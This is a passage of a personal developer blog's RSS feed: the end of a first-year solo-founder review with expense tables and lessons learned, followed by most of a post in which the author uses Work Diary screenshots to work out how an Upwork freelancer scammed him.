 &lt;tr>
 &lt;td>Logo design&lt;/td>
 &lt;td>-$250&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Website development&lt;/td>
 &lt;td>-$1,373&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Hosting&lt;/td>
 &lt;td>-$196&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain&lt;/td>
 &lt;td>-$60&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Net profit&lt;/strong>&lt;/td>
 &lt;td>-&lt;strong>$1,879&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;h3 id="ketohub">&lt;a href="https://recipe-search.isitketo.org">KetoHub&lt;/a>&lt;/h3>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/ketohub-screenshot.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-1/ketohub-screenshot_hu_79db0a43239f2c8c.jpg 300w, https://mtlynch.io/bootstrapped-founder-year-1/ketohub-screenshot_hu_bba43fe5e3f0ed1c.jpg 600w, https://mtlynch.io/bootstrapped-founder-year-1/ketohub-screenshot_hu_d003107c64737dab.jpg 800w, https://mtlynch.io/bootstrapped-founder-year-1/ketohub-screenshot_hu_b79250328730d495.jpg 1200w, https://mtlynch.io/bootstrapped-founder-year-1/ketohub-screenshot.jpg 1206w'
 src="https://mtlynch.io/bootstrapped-founder-year-1/ketohub-screenshot.jpg" alt="Screenshot of KetoHub website" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>KetoHub is a project I &lt;a href="https://mtlynch.io/tags/ketohub">started last year&lt;/a>. It aggregates keto recipes from popular blogs and makes them searchable by ingredient.&lt;/p>
&lt;p>I developed it on and off at the beginning of the year but put it in maintenance mode when I realized I was managing too many projects. I still have ideas for monetizing it, but each requires a considerable time investment and has a low probability of success. Now, it&amp;rsquo;s mainly a complement to Is It Keto.&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Income/Expense&lt;/th>
 &lt;th>Amount&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Development&lt;/td>
 &lt;td>-$1,502&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>User interviews&lt;/td>
 &lt;td>-$220&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Logo Design&lt;/td>
 &lt;td>-$211&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Hosting&lt;/td>
 &lt;td>-$46&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain&lt;/td>
 &lt;td>-$60&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Net profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>-$2,039&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;h3 id="everything-else">Everything Else&lt;/h3>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Expense&lt;/th>
 &lt;th>Purpose&lt;/th>
 &lt;th>Amount&lt;/th>
 &lt;th>Note&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>&lt;a href="https://bench.co/">Bench&lt;/a>&lt;/td>
 &lt;td>Bookkeeping&lt;/td>
 &lt;td>-$1,610&lt;/td>
 &lt;td>Pricey, but it&amp;rsquo;s one of the few services I&amp;rsquo;ve used that just solves a problem so thoroughly that I only have to think about it for a few hours per year.&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://travis-ci.com">Travis CI&lt;/a>&lt;/td>
 &lt;td>Continuous integration&lt;/td>
 &lt;td>-$1,419&lt;/td>
 &lt;td>I wish this were cheaper, but I absolutely need continuous integration. I&amp;rsquo;ve heard that &lt;a href="https://circleci.com/">CircleCI&lt;/a> is now the better offering and costs less, so I&amp;rsquo;ll likely switch when my subscription expires.&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://coveralls.io">Coveralls&lt;/a>&lt;/td>
 &lt;td>Test coverage tracking&lt;/td>
 &lt;td>-$270&lt;/td>
 &lt;td>Another one I wish was cheaper, but I love testing, so I&amp;rsquo;m willing to pay for anything that improves my tests.&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://github.com/">GitHub Pro&lt;/a>&lt;/td>
 &lt;td>Source code storage&lt;/td>
 &lt;td>-$91&lt;/td>
 &lt;td>I bought this just for the private repositories, but &lt;a href="https://techcrunch.com/2019/01/07/github-free-users-now-get-unlimited-private-repositories/">now they&amp;rsquo;re free&lt;/a>, so I&amp;rsquo;ll stop paying this in 2019.&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Dev tooling&lt;/td>
 &lt;td>Misc&lt;/td>
 &lt;td>-$1,400&lt;/td>
 &lt;td>I paid freelance developers to add general-purpose tooling during development.&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Travel, conferences, events, books&lt;/td>
 &lt;td>&lt;/td>
 &lt;td>-$634&lt;/td>
 &lt;td>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Banking and credit card rewards&lt;/td>
 &lt;td>&lt;/td>
 &lt;td>~$1,000&lt;/td>
 &lt;td>Embarrassingly, my second largest source of income for the year was in cash rewards for opening business checking and credit accounts.&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;h2 id="bleeding-dry-from-personal-expenses">Bleeding dry from personal expenses&lt;/h2>
&lt;p>There was one enormous hidden expense that my profit and loss chart didn&amp;rsquo;t show: me.&lt;/p>
&lt;p>My living expenses were rapidly eating away at my personal savings. Between my $3.3k/month Manhattan apartment, private health insurance, food, and utilities, it cost $6-7k per month just to sustain myself.&lt;/p>
&lt;p>Those costs had a dramatic impact on my business decisions. Spending three months implementing a new product idea was the equivalent of investing $20k into the concept. A simple one-week task had an implicit cost of $1.5k. This led me to frantically over-outsource my work and contributed to the &lt;a href="#costly-lessons-in-outsourcing">contractor pains&lt;/a>, described above.&lt;/p>
&lt;p>My living costs also made me feel discouraged about every project idea. Before quitting my job, I had a quaint fantasy of growing a business from a small seedling that made $50/month and slowly nurturing it to $100 then $175. Working at such small scales of revenue felt ridiculous when I was burning $7k a month in expenses.&lt;/p>
&lt;h2 id="so-i-bought-a-house">So, I bought a house&lt;/h2>
&lt;p>One day in June, I jokingly texted my sister that I should cut my spending by moving into a cheap house near her in Western Massachusetts. She immediately called me. &amp;ldquo;Were you kidding? Because you should do that for real.&amp;rdquo;&lt;/p>
&lt;p>The more I thought about it, the more sense it made. It was close to my family, I enjoyed spending time there, and the cost of living was tiny compared to New York.&lt;/p>
&lt;p>In August, I bought a modest two-bedroom home in Western Massachusetts. My living expenses here are ~$2k per month, which is close enough to the rate of return on my personal investments that I&amp;rsquo;m kind of at equilibrium.&lt;/p>
&lt;!-- wordword-next-line-ignore-word: now -->
&lt;p>I no longer feel a sense of panic that my money is burning up and everything has to happen NOW NOW NOW. The low costs give me the freedom to experiment with projects like Is It Keto, where even a $50 growth in profits is a meaningful victory.&lt;/p>
&lt;h2 id="i-want-to-do-this-forever">I want to do this forever&lt;/h2>
&lt;p>People have asked me if I&amp;rsquo;m still happy with my decision to quit and start my own company. The answer is definitely yes.&lt;/p>
&lt;p>As someone who has always valued independence, I love being a solo developer. It makes a world of difference to wake up whenever I want and make my own choices about how to spend my entire day. This is how I want to live the rest of my life.&lt;/p>
&lt;div class="notice notice-info">
 &lt;em>&lt;strong>Sidenote&lt;/strong>: My friends with children tell me that kids won&amp;rsquo;t complicate this at all.&lt;/em>
&lt;/div>

&lt;h2 id="doubts">Doubts&lt;/h2>
&lt;p>Despite this, I do still experience doubts about my work. Here are the questions I frequently ask myself:&lt;/p>
&lt;ul>
&lt;li>The things you&amp;rsquo;re best at are &lt;a href="https://mtlynch.io/human-code-reviews-1/">code reviews&lt;/a>, &lt;a href="https://mtlynch.io/good-developers-bad-tests/">unit tests&lt;/a>, and refining processes for a team of developers. Aren&amp;rsquo;t you wasting your best skills working by yourself?&lt;/li>
&lt;li>One of your fatal flaws with Zestful was that you were &lt;a href="https://mtlynch.io/shipping-too-late/#a-different-type-of-rejection">too afraid of sales&lt;/a>. Does your new business &lt;em>really&lt;/em> have potential? Or did you just pick a project where you didn&amp;rsquo;t have to do sales?&lt;/li>
&lt;li>Your job at Google used to impress people. Now, when people ask about your work, you awkwardly tell them, &amp;ldquo;Um, it&amp;rsquo;s a website where you type a food, and it tells you whether it&amp;rsquo;s keto&amp;hellip;&amp;rdquo; Shouldn&amp;rsquo;t you do something that sounds more impressive?&lt;/li>
&lt;/ul>
&lt;p>At the root of these doubts is the fact that my businesses haven&amp;rsquo;t yet succeeded. However, it&amp;rsquo;s comforting to remember that most successful entrepreneurs &lt;a href="https://twitter.com/shpigford/status/1033032915175858176?lang=en">spent years flailing around before they found something that worked&lt;/a>.&lt;/p>
&lt;h2 id="lessons-learned">Lessons learned&lt;/h2>
&lt;h3 id="limit-focus">Limit focus&lt;/h3>
&lt;p>After quitting, it seemed like I had such an abundance of time that I could take on several projects in parallel. It turned out that &lt;a href="https://mtlynch.io/since-quitting/#managing-stress">I didn&amp;rsquo;t have as much time as I thought&lt;/a>. Attempting to do everything prevented me from making meaningful progress on anything.&lt;/p>
&lt;p>I now limit my focus to one business venture at a time and one blog post per month. The change has helped me stress less and accomplish more.&lt;/p>
&lt;h3 id="regularly-reflect">Regularly reflect&lt;/h3>
&lt;p>At the end of each week, I spend 30-60 minutes writing down everything I accomplished. This exercise always makes me realize that I&amp;rsquo;m more productive than I feel. Often, I&amp;rsquo;ll reach Friday afternoon thinking that I burned an entire week chasing down a single bug only to realize the bugfix took just two days. And then I&amp;rsquo;ll remember that I shipped several new features but forgot about them because they felt like ages ago.&lt;/p>
&lt;p>This works on a monthly level as well. At the beginning of each month, I publish retrospectives in which I reassess my strategy and set objectives for the coming month (e.g., Is It Keto &lt;a href="https://www.indiehackers.com/forum/isitketo-returning-to-a-site-that-grew-without-me-0a0fe3ef52">Month 3&lt;/a> and &lt;a href="https://www.indiehackers.com/forum/isitketo-month-4-my-first-dollar-of-revenue-03e572f661">Month 4&lt;/a>).&lt;/p>
&lt;p>Finally, every February, I write a riveting, wildly popular blog post reflecting on the past year (&lt;em>&lt;strong>Note&lt;/strong>: wild popularity still pending&lt;/em>).&lt;/p>
&lt;h3 id="set-goals">Set goals&lt;/h3>
&lt;p>Specific, measurable goals keep me focused. Before I developed a habit of declaring explicit goals, it was too easy for me to waste time on something and then invent post-hoc rationalizations for why it helped the business.&lt;/p>
&lt;p>A clear objective like, &amp;ldquo;Achieve $50 in revenue for the month,&amp;rdquo; forces me to prioritize ruthlessly and eliminate tasks that don&amp;rsquo;t serve the goal.&lt;/p>
&lt;h2 id="goals-for-year-two">Goals for year two&lt;/h2>
&lt;p>Speaking of goals, here&amp;rsquo;s what I hope to accomplish in my second year as a solo developer:&lt;/p>
&lt;ul>
&lt;li>Achieve $500/month in revenue across my businesses.&lt;/li>
&lt;li>Present talks at three software conferences.&lt;/li>
&lt;li>Publish 12 blog posts.&lt;/li>
&lt;li>Gain comfort with a JavaScript framework (e.g., &lt;a href="https://vuejs.org/">Vue&lt;/a>, &lt;a href="https://angular.io/">Angular&lt;/a>, &lt;a href="https://reactjs.org/">React&lt;/a>).&lt;/li>
&lt;/ul>
&lt;h2>All annual reviews&lt;/h2>
&lt;ul>&lt;li>My First Year as a Solo Developer- Feb. 1, 2019
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-2/">My Second Year as a Solo Developer&lt;/a>- Jan. 31, 2020
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-3/">My Third Year as a Solo Developer&lt;/a>- Feb. 1, 2021
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-4/">My Fourth Year as a Bootstrapped Founder&lt;/a>- Feb. 1, 2022
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-5/">My Fifth Year as a Bootstrapped Founder&lt;/a>- Feb. 10, 2023
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-6/">My Sixth Year as a Bootstrapped Founder&lt;/a>- Feb. 16, 2024
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-7/">My Seventh Year as a Bootstrapped Founder&lt;/a>- Feb. 3, 2025
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-8/">My Eighth Year as a Bootstrapped Founder&lt;/a>- Feb. 3, 2026
 &lt;/li>&lt;/ul>
&lt;hr>
&lt;p>&lt;em>Cover art by Loraine Yow&lt;/em>&lt;/p></content:encoded></item><item><title>Is It Keto: Month 4</title><link>https://mtlynch.io/retrospectives/2019/01/</link><pubDate>Sat, 05 Jan 2019 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2019/01/</guid><description>&lt;p>Prior to February 2019, I published all my retrospectives on &lt;a href="https://www.indiehackers.com">Indie Hackers&lt;/a>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.indiehackers.com/forum/isitketo-month-4-my-first-dollar-of-revenue-03e572f661">Is It Keto Month 4: My First Dollar of Revenue&lt;/a>&lt;/li>
&lt;/ul></description><content:encoded>&lt;p>Prior to February 2019, I published all my retrospectives on &lt;a href="https://www.indiehackers.com">Indie Hackers&lt;/a>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.indiehackers.com/forum/isitketo-month-4-my-first-dollar-of-revenue-03e572f661">Is It Keto Month 4: My First Dollar of Revenue&lt;/a>&lt;/li>
&lt;/ul></content:encoded></item><item><title>What I Learned About Upwork from a Bumbling Scammer</title><link>https://mtlynch.io/upwork-scammer/</link><pubDate>Thu, 27 Dec 2018 00:00:00 +0000</pubDate><guid>https://mtlynch.io/upwork-scammer/</guid><description>&lt;p>For years, I&amp;rsquo;ve hired freelancers through a site called Upwork. The site attracts many different professionals, so I&amp;rsquo;ve used it to find everything from &lt;a href="https://mtlynch.io/how-to-hire-a-cartoonist/">cartoonists&lt;/a> to software developers to &lt;a href="https://mtlynch.io/editor/">copy editors&lt;/a>. Some were great, some were disastrous, but none of them had ever tried to scam me outright.&lt;/p>
&lt;p>That is, until I met Lizzie.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 450px">



 &lt;a href="https://mtlynch.io/upwork-scammer/lizzie-r-profile.png">
 &lt;img
 
 sizes="(min-width: 768px) 450px, 98vw"
 srcset='https://mtlynch.io/upwork-scammer/lizzie-r-profile_hu_ffad242422247ad5.png 300w, https://mtlynch.io/upwork-scammer/lizzie-r-profile_hu_1dfc3bf0e78d9647.png 600w, https://mtlynch.io/upwork-scammer/lizzie-r-profile.png 715w'
 src="https://mtlynch.io/upwork-scammer/lizzie-r-profile.png" alt="Screenshot of Lizzie R&amp;#39;s Upwork profile page" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Lizzie&amp;rsquo;s freelancer profile on Upwork&lt;/p></description><content:encoded>&lt;p>For years, I&amp;rsquo;ve hired freelancers through a site called Upwork. The site attracts many different professionals, so I&amp;rsquo;ve used it to find everything from &lt;a href="https://mtlynch.io/how-to-hire-a-cartoonist/">cartoonists&lt;/a> to software developers to &lt;a href="https://mtlynch.io/editor/">copy editors&lt;/a>. Some were great, some were disastrous, but none of them had ever tried to scam me outright.&lt;/p>
&lt;p>That is, until I met Lizzie.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 450px">



 &lt;a href="https://mtlynch.io/upwork-scammer/lizzie-r-profile.png">
 &lt;img
 
 sizes="(min-width: 768px) 450px, 98vw"
 srcset='https://mtlynch.io/upwork-scammer/lizzie-r-profile_hu_ffad242422247ad5.png 300w, https://mtlynch.io/upwork-scammer/lizzie-r-profile_hu_1dfc3bf0e78d9647.png 600w, https://mtlynch.io/upwork-scammer/lizzie-r-profile.png 715w'
 src="https://mtlynch.io/upwork-scammer/lizzie-r-profile.png" alt="Screenshot of Lizzie R&amp;#39;s Upwork profile page" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Lizzie&amp;rsquo;s freelancer profile on Upwork&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I needed writers for a &lt;a href="https://isitketo.org">keto diet website&lt;/a> I&amp;rsquo;m building. As a native English speaker living in the US, Lizzie seemed like a potential match. &lt;a href="https://www.upwork.com/o/profiles/users/_~019b8bbe4e49ebe61c/">Her profile&lt;/a> was free of loud grammatical errors, an alarmingly rare quality among writers for hire. And best of all, she only charged $10/hr.&lt;/p>
&lt;p>Okay, I know what you&amp;rsquo;re thinking: for $10/hr, she&amp;rsquo;s &lt;em>obviously&lt;/em> a scammer. Or a terrible writer. Most writers on Upwork bill $30-60/hr, so why would anyone accept such a low rate?&lt;/p>
&lt;p>But that&amp;rsquo;s part of the adventure of Upwork. Some of the best people I&amp;rsquo;ve worked with advertised suspiciously cheap rates because they wanted to build a good rating history. Lizzie had only worked a few jobs, but she had perfect reviews on all of them.&lt;/p>
&lt;p>If she turned out to be talented, I&amp;rsquo;d have a great writer at a phenomenal price. If she delivered something terrible, I&amp;rsquo;d at least get to see what $10/hr writing looked like.&lt;/p>
&lt;h2 id="exchanging-50-for-a-blank-document">Exchanging $50 for a blank document&lt;/h2>
&lt;p>Upon receiving my job offer, Lizzie readily accepted. I assigned her three reports and provided &lt;a href="https://docs.google.com/document/d/1Uy19xtf_PFW0LJ2Zj6cSkH2dhHED8PCjHCtup1_IQ_4/edit?usp=sharing">instructions&lt;/a> on how to write them.&lt;/p>
&lt;p>I set a limit of five hours and told her that if she wasn&amp;rsquo;t done at the 4.5-hour mark, she should spend the last 30 minutes putting all of her progress into our shared Google Doc.&lt;/p>
&lt;p>The next day, Upwork reported that Lizzie billed me the full five hours, but the Google Doc was empty. She hadn&amp;rsquo;t sent me any messages, either.&lt;/p>
&lt;h2 id="intrusive-surveillance-to-the-rescue">Intrusive surveillance to the rescue&lt;/h2>
&lt;p>Checking Lizzie&amp;rsquo;s timesheet, I realized she had logged her hours using Work Diary, Upwork&amp;rsquo;s official spyware tool. It captures images of the freelancer&amp;rsquo;s screen, records their keystrokes, and sends all of the information to both Upwork and the client.&lt;/p>
&lt;p>Work Diary creeps me out. I never require freelancers to run it, but Lizzie chose to run it instead of simply invoicing me for her hours. This meant that I didn&amp;rsquo;t have any results, but I did have screenshots showing how she spent the five hours she billed to me.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/upwork-scammer/workdiary-dashboard.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/upwork-scammer/workdiary-dashboard_hu_15084219086dfb8f.png 300w, https://mtlynch.io/upwork-scammer/workdiary-dashboard_hu_f52cf6501d2747e6.png 600w, https://mtlynch.io/upwork-scammer/workdiary-dashboard_hu_689002c5958d361d.png 800w, https://mtlynch.io/upwork-scammer/workdiary-dashboard.png 1020w'
 src="https://mtlynch.io/upwork-scammer/workdiary-dashboard.png" alt="Screenshot of Work Diary dashboard" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Overview of Lizzie&amp;rsquo;s activities in Work Diary&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>In early screenshots, she was writing a document about mantras in Hinduism. It definitely had nothing to do with my project, but she was charging me for it.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/upwork-scammer/workdiary-2.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/upwork-scammer/workdiary-2_hu_3e4a8aa63d4c1af.jpg 300w, https://mtlynch.io/upwork-scammer/workdiary-2_hu_a3534eb8e5f4f10e.jpg 600w, https://mtlynch.io/upwork-scammer/workdiary-2_hu_fae4326639697dce.jpg 800w, https://mtlynch.io/upwork-scammer/workdiary-2_hu_70b13d3be10aa3b4.jpg 1200w, https://mtlynch.io/upwork-scammer/workdiary-2.jpg 1366w'
 src="https://mtlynch.io/upwork-scammer/workdiary-2.jpg" alt="Screenshot of Lizzie R&amp;#39;s WorkDiary history" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Lizzie bills me for time writing an article on mantras for another client&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Later, she switched gears and started writing an article about tarot cards. Unless there&amp;rsquo;s a new trend in the keto world that integrates tarot readings into food selection, this didn&amp;rsquo;t seem like it related to my project either.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/upwork-scammer/workdiary-4.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/upwork-scammer/workdiary-4_hu_bbcb62a8423b829a.jpg 300w, https://mtlynch.io/upwork-scammer/workdiary-4_hu_e3ad0d7987b3cdf.jpg 600w, https://mtlynch.io/upwork-scammer/workdiary-4_hu_ac1c7ea62c57907.jpg 800w, https://mtlynch.io/upwork-scammer/workdiary-4_hu_e44c0bd9bf6ad1ff.jpg 1200w, https://mtlynch.io/upwork-scammer/workdiary-4.jpg 1366w'
 src="https://mtlynch.io/upwork-scammer/workdiary-4.jpg" alt="Screenshot of Lizzie R&amp;#39;s WorkDiary history" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Lizzie bills me for another client&amp;rsquo;s article about tarot cards&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="whats-going-on-here">What&amp;rsquo;s going on here?&lt;/h2>
&lt;p>Then, things got a bit more interesting. A screenshot showed Lizzie using Upwork&amp;rsquo;s messaging interface to talk to her other clients:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/upwork-scammer/workdiary-5.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/upwork-scammer/workdiary-5_hu_a4dbd05eb01012b9.jpg 300w, https://mtlynch.io/upwork-scammer/workdiary-5_hu_2781e27ba1ef9781.jpg 600w, https://mtlynch.io/upwork-scammer/workdiary-5_hu_8d3e96c0948aff93.jpg 800w, https://mtlynch.io/upwork-scammer/workdiary-5_hu_3827e6011677f47f.jpg 1200w, https://mtlynch.io/upwork-scammer/workdiary-5.jpg 1366w'
 src="https://mtlynch.io/upwork-scammer/workdiary-5.jpg" alt="Screenshot of Lizzie R&amp;#39;s WorkDiary history" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>A screenshot showing Lizzie messaging her other clients&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>It confused me at first because it showed two people talking, but neither of them was Lizzie. Oh! She was logged in as a different Upwork user under the name, &amp;ldquo;Abi Hensley.&amp;rdquo;&lt;/p>
&lt;p>A quick search on Upwork turned up &lt;a href="https://www.upwork.com/o/profiles/users/_~012951f3927669080e">Abi&amp;rsquo;s profile&lt;/a>. Sure enough, it had the exact same text and hourly rate as Lizzie:&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 715px">



 &lt;a href="https://mtlynch.io/upwork-scammer/abi-h-profile.png">
 &lt;img
 
 sizes="(min-width: 768px) 715px, 98vw"
 srcset='https://mtlynch.io/upwork-scammer/abi-h-profile_hu_a2ae9d6ecab15493.png 300w, https://mtlynch.io/upwork-scammer/abi-h-profile_hu_96e04e53f7c218c0.png 600w, https://mtlynch.io/upwork-scammer/abi-h-profile.png 715w'
 src="https://mtlynch.io/upwork-scammer/abi-h-profile.png" alt="Screenshot of Abi H&amp;#39;s Upwork profile" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Upwork profile for &amp;quot;Abi H.&amp;quot; with identical text to &amp;quot;Lizzie R.&amp;quot;&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>That explained why she had four different web browsers pinned to her taskbar. She probably used a separate browser for each Upwork identity.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/upwork-scammer/many-browsers.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/upwork-scammer/many-browsers_hu_640a831e9d24183a.jpg 300w, https://mtlynch.io/upwork-scammer/many-browsers_hu_9191f64bfb77ad8a.jpg 600w, https://mtlynch.io/upwork-scammer/many-browsers_hu_2ad3624fadee9d6a.jpg 800w, https://mtlynch.io/upwork-scammer/many-browsers.jpg 819w'
 src="https://mtlynch.io/upwork-scammer/many-browsers.jpg" alt="Screenshot of Lizzie&amp;#39;s desktop showing Firefox, Chrome, IE, and Opera" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Screenshot of Lizzie&amp;rsquo;s desktop showing four different web browsers installed&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="who-is-grace">Who is Grace?&lt;/h2>
&lt;p>One of the screenshots showed Lizzie&amp;rsquo;s Documents folder:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/upwork-scammer/workdiary-6.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/upwork-scammer/workdiary-6_hu_7f9afea83106922.jpg 300w, https://mtlynch.io/upwork-scammer/workdiary-6_hu_4c5c0160a0b65911.jpg 600w, https://mtlynch.io/upwork-scammer/workdiary-6_hu_21c02281e3d632cc.jpg 800w, https://mtlynch.io/upwork-scammer/workdiary-6_hu_4b1c9123720e7762.jpg 1200w, https://mtlynch.io/upwork-scammer/workdiary-6.jpg 1366w'
 src="https://mtlynch.io/upwork-scammer/workdiary-6.jpg" alt="Screenshot of Lizzi&amp;#39;s documents folder" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Work Diary screenshot shows Lizzie&amp;rsquo;s Documents folder&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>It revealed several files with the name &amp;ldquo;Grace&amp;rdquo; in the title:&lt;/p>
&lt;ul>
&lt;li>&amp;ldquo;Grace Application Letter&amp;rdquo;&lt;/li>
&lt;li>&amp;ldquo;Grace CV&amp;rdquo;&lt;/li>
&lt;li>&amp;ldquo;Grace Intenship [&lt;em>sic&lt;/em>] letter&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;p>Finally, there was a PDF whose filename was &amp;ldquo;Grace&amp;rdquo; followed by what looked like a last name. The full name was unique enough that Google had only a single matching result: a Facebook profile of a schoolteacher in Kenya:&lt;/p>













 








 
 
 







&lt;figure class="img" style="max-width: 504px">



 &lt;a href="https://mtlynch.io/upwork-scammer/grace-facebook.png">
 &lt;img
 
 sizes="(min-width: 768px) 504px, 98vw"
 srcset='https://mtlynch.io/upwork-scammer/grace-facebook_hu_25244df64c31e56f.png 300w, https://mtlynch.io/upwork-scammer/grace-facebook.png 504w'
 src="https://mtlynch.io/upwork-scammer/grace-facebook.png" alt="Screenshot of Lizzie R&amp;#39;s WorkDiary history" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Lizzie&amp;rsquo;s true identity, potentially&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="its-9-pm-do-you-know-where-you-are">It&amp;rsquo;s 9 PM. Do you know where you are?&lt;/h2>
&lt;p>There was another subtle clue buried in the screenshots: the time zone.&lt;/p>
&lt;p>Upwork captured this image at 6:15 PM Greenwich Mean Time, but the freelancer&amp;rsquo;s clock showed 9:17 PM.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 715px">



 &lt;a href="https://mtlynch.io/upwork-scammer/time-comparison.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 715px, 98vw"
 srcset='https://mtlynch.io/upwork-scammer/time-comparison_hu_c9d71510e710b832.jpg 300w, https://mtlynch.io/upwork-scammer/time-comparison_hu_f5fe3799fe70488e.jpg 600w, https://mtlynch.io/upwork-scammer/time-comparison_hu_1a0c46aad75f0ca3.jpg 800w, https://mtlynch.io/upwork-scammer/time-comparison.jpg 996w'
 src="https://mtlynch.io/upwork-scammer/time-comparison.jpg" alt="Screenshot of Lizzie&amp;#39;s desktop" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Lizzie&amp;rsquo;s clock is three hours ahead of Greenwich Mean Time&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>What time zone could that be? Sure enough, it was the time zone for Nairobi, Kenya:&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 758px">



 &lt;a href="https://mtlynch.io/upwork-scammer/utc-to-nairobi.png">
 &lt;img
 
 sizes="(min-width: 768px) 758px, 98vw"
 srcset='https://mtlynch.io/upwork-scammer/utc-to-nairobi_hu_7198bb5eb6b03bf4.png 300w, https://mtlynch.io/upwork-scammer/utc-to-nairobi_hu_65bc205e00589f0b.png 600w, https://mtlynch.io/upwork-scammer/utc-to-nairobi.png 758w'
 src="https://mtlynch.io/upwork-scammer/utc-to-nairobi.png" alt="6:15 PM UTC matching 9:15 PM in Nairobi, Kenya" loading="lazy"/>
 &lt;/a>



&lt;/div>


